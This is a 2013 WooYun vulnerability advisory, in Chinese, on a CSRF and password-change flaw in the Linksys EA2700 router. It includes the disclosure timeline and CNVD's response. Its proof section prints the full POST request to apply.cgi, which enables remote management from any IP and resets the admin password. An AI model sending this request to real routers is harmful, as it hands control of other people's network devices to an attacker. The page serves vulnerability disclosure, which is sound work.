当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2013-021321
漏洞标题：
Linksys EA2700的密码更改认证缺陷和CSRF漏洞
相关厂商：
Linksys
漏洞作者：
隔墙W有眼
提交时间：
2013-04-06 21:40
修复时间：
2013-04-09 16:00
公开时间：
2013-04-09 16:00
漏洞类型：
权限控制绕过
危害等级：
中
自评Rank：
5
漏洞状态：
已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2013-04-06： 细节已通知厂商并且等待厂商处理中
2013-04-09： 厂商已经确认，细节仅向厂商公开
2013-04-09： 厂商提前公开漏洞，细节向公众公开

简要描述：

详细说明：

Linksys EA2700路由器，在同一网络上的人都可以用远程管理改变路由器的密码。这可以从互联网上访问此路由器的网络。
CSRF攻击！只需发送POST请求到apply.cgi，将开启远程管理和更改管理员密码。

漏洞证明：

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 370
submit_button=Management&change_action=&action=Apply&PasswdModify=1
&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0
&wait_time=4&http_passwd=password&http_passwdConfirm=password
&_http_enable=1&web_wl_filter=0
&remote_management=1&_remote_mgt_https=1&remote_ip_any=1
&http_wanport=8080&nf_alg_sip=0&ctf_enable=1&upnp_enable=1
&upnp_config=1&upnp_internet_dis=0

修复方案：

版权声明：转载请注明来源 隔墙W有眼@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2013-04-09 15:59

厂商回复：

CNVD根据描述确认漏洞情况（暂未实测），近两日一直在联系思科公司。由于其公开联系渠道较为复杂，客服部门不直接受理，暂未直接处置，拟直接公开漏洞。
按相邻网络攻击，完全影响机密性，部分影响可用性和完整性进行评分，rank =7.31*1.1*1.3=10.453

最新状态：

2013-04-09：未能有效处置。